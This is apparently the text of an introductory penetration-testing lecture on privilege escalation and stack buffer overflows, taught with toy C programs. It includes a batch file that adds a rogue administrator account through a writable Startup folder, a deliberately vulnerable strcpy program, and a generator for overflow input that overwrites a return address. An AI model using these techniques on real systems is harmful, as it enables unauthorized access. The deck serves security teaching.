310 likes | 419 Views
Introduction to Penetration Testing. Elevating privileges Getting code run in a privileged context Exploiting misconfigurations File permissions Attacking services and applications Buffer overflows. Why You Should Not Be an Attacker. Reminder – We Don't Teach People to be Attackers.
E N D
Introduction to Penetration Testing • Elevating privileges • Getting code run in a privileged context • Exploiting misconfigurations • File permissions • Attacking services and applications • Buffer overflows
Why You Should Not Be an Attacker Reminder – We Don't Teach People to be Attackers • It is illegal: • United States Code, Title 18, Section 1030 (and others) • USA Patriot Act, Homeland Security Act, PROTECT Act • www.cybercrime.gov • Basically: • Unauthorized access or use of a computer or network system is illegal • Unintentional attacks are illegal too
Privilege Escalation • Goal: get instructions executed with higher privileges than you have: • Kernel • Privileged application or service • A setuid program • A privileged user
Privilege Escalation – Example • Windows host • Guest access • Can’t read secret word file • Can’t write to: • C:\Documents and Settings\Administrator • Can write to: • C:\Documents and Settings\All Users\Start Menu\Programs\Startup
Privilege Escalation – Example (cont) • A simple batch file: net user elvis T!C!B!123 /add net localgroup administrators elvis /add • Place this program in C:\Documents and Settings\AllUsers\StartMenu\Programs\Startup • It will be executed by the administrator (with administrator privileges) at the next logon
Privilege Escalation – Demo • Demo • Note: • Could be noticed by the administrator • During logon • Recognizing the “elvis” account • Worked because the C:\Documents and Settings\AllUsers\StartMenu\Programs\Startup directory was writeable
File Permissions – Example • Windows host • Guest access • Can read registry • Can see what programs run when users (including admin) log on • Can overwrite a program
File Permissions – Demo • Demo • Note: • Could be noticed by the administrator • During logon • Worked because the C:\Program Files directory was writeable
Buffer Overflows • A buffer overflow involves putting more data into a buffer than it has room to hold • In some cases, the extra data overwrites other items in memory after the buffer • Overflowing a buffer may enable you to change/control the flow of execution of the program
What Does This Program Do? #include <stdio.h> void f() { char buf[4]; int *ret; ret = (int *) (buf + 8); (*ret) += 7; } int main() { int x=0; f(); x=1; printf("x=%d\n",x); }
The Stack Segment • A program’s stack segment: • Temporary working space for the program • Example: Subroutines int foo(int P1, int P2) /* subroutine “foo” */ { int L1, L2; /* local variables L1 and L2 */ L1 = P1 + P2; return(L1); /* return value */ } int main() /* main program */ { … x = foo(1,2); /* call to subroutine “foo” */ … }
Low Addresses foo Stack frames main High Addresses Stack Stack Frames
Stack Frames (cont) • A stack frame contains the corresponding routine’s: • Parameters • Return address (i.e. next instruction to execute upon completion) • Saved registers • Local variables • Many architectures have registers: • SP, the stack pointer, points to the top of the stack • BP, the base pointer, points to a fixed location within the frame • Used to reference the procedure’s parameters and local variables
Stack Frames (cont) • The main routine calls foo: • foo’s parameters are first pushed onto the stack • The next instruction in main to execute after foo finishes, the return address, is pushed • Control is transferred to foo • foo’s prologue: • Save caller’s (main’s) base pointer • Set callee’s (foo’s) bp equal to the current sp • Increment sp to reserve space on the stack for foo’s local vars (word aligned) • foo’s instructions • foo’s epilogue: • Restore saved values and deallocate callee’s (foo’s) stack frame
Stack Frame - Example int foo(int P1, int P2) /* subroutine “foo” */ { int L1, L2; /* local variables L1 and L2 */ L1 = P1 + P2; return(L1); /* return value */ } int main() /* main program */ { … x = foo(1,2); /* call to subroutine “foo” */ … }
SP Low Addresses L2 L1 main’s bp P1 P2 High Addresses Stack Frames – Example (cont) • foo’s stack frame after the completion of the prologue: Foo’s BP return address stack
Ex1.c #include <stdio.h> void f() { char buf[4]; int *ret; ret = (int *) (buf + 8); (*ret) += 7; } int main() { int x=0; f(); x=1; // This instruction is not being executed. Why? printf("x=%d\n",x); }
ret buf[0] buf[1] buf[2] buf[3] main’s bp Main’s frame The Stack as f() Begins Execution Low Addresses 4 1 1 1 1 4 return address 4 High Addresses stack
ret buf[0] buf[1] buf[2] buf[3] main’s bp Main’s frame Ret points to the the return address on the stackret = (int *) (buf + 8); Low Addresses 4 buf 1 1 1 1 4 buf + 8 return address 4 High Addresses stack
ret buf[0] buf[1] buf[2] buf[3] main’s bp Main’s frame Ret points to the the return address on the stack (*ret) += 7; Low Addresses return address + 7 High Addresses stack
Ex1.c (cont) #include <stdio.h> void f() { char buf[4]; int *ret; ret = (int *) (buf + 8); (*ret) += 7; } int main() { int x=0; f(); x=1; // This instruction is being skipped because f() increments the return address printf("x=%d\n",x); // This is the next instruction executed after f() }
What Does This Program Do? #include <stdio.h> #include <string.h> #include <stdlib.h> int a; char address[100]; void sub1 () { char buf[4]; int *ret = (int *) (buf + 8); a = strtol(address,NULL,16); (*ret) = a; } void sub2 (void) {printf("Opps!\n"); exit(0);} int main() { sprintf(address,"%p",sub2); sub1(); }
Ex2.c #include <stdio.h> #include <string.h> #include <stdlib.h> int a; char address[100]; void sub1 () { char buf[4]; int *ret = (int *) (buf + 8); //ret points to the return address a = strtol(address,NULL,16); //a is the address of sub2() (*ret) = a; //put the address of sub2() in the return address } void sub2 (void) {printf("Opps!\n"); exit(0);} int main() { sprintf(address,"%p",sub2); // Get the address of the sub2() function sub1(); // Call sub1() }
What Does This Program Do? #include <stdio.h> #include <string.h> #include <stdlib.h> char input[100]; void sub1 () { char buf[10] = ""; // fixed-size buffer strcpy(buf, input);} // copy input into buf whether it fits or not void sub2 (void) {printf("Opps!\n"); exit(0);} int main() { printf("Please enter some input (10 characters max, please):\n"); fgets(input,99,stdin); sub1();}
What Can We Make it Do? • Run normally • Input “ABC”
What Can We Make it Do? • Run normally • Input “ABC”
buf[0] … buf[9] main’s bp Main’s frame What Else Can We Make it Do? • Seg fault (overflow the buffer and overwrite ret. address) Low Addresses return address High Addresses stack
Still More We Can Make it Do • Execute sub2() • Know the address of sub2() • Enter enough characters get to the return address on the stack (overflow the buffer) • Enter the address of sub2() so that it overwrites the return address • Problem #1: What is the address of sub2()? • Problem #2: How many characters to enter to get to the return address? • Problem #3: How can we “enter” the address of sub2()?
make_input.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char**argv) { // construct an overflow string char buf[1005]; if (argc !=3) fprintf(stderr,"Usage: %s [offset] [return address in hex]\n",argv[0]); else { int a, offset = atoi(argv[1]); for (int i=0; i<offset; i++) // write offset A’s buf[i]='A'; a = strtol(argv[2],NULL,16); buf[offset]=a&0xFF; buf[offset+1]=((a&0xFF00)>>8); // write characters of ret. addr buf[offset+2]=((a&0xFF0000)>>16); buf[offset+3]=((a&0xFF000000)>>24); buf[offset+4]='\0'; fprintf(stdout,"%s\n",buf); } } // output the constructed string
buf[0] A … … buf[9] A main’s bp AAAA Main’s frame Main’s frame What Happened? Low Addresses return address address of sub2() High Addresses stack stack
Summary • Elevating privileges • Getting code run in a privileged context • Exploiting misconfigurations • File permissions • Attacking services and applications • Buffer overflows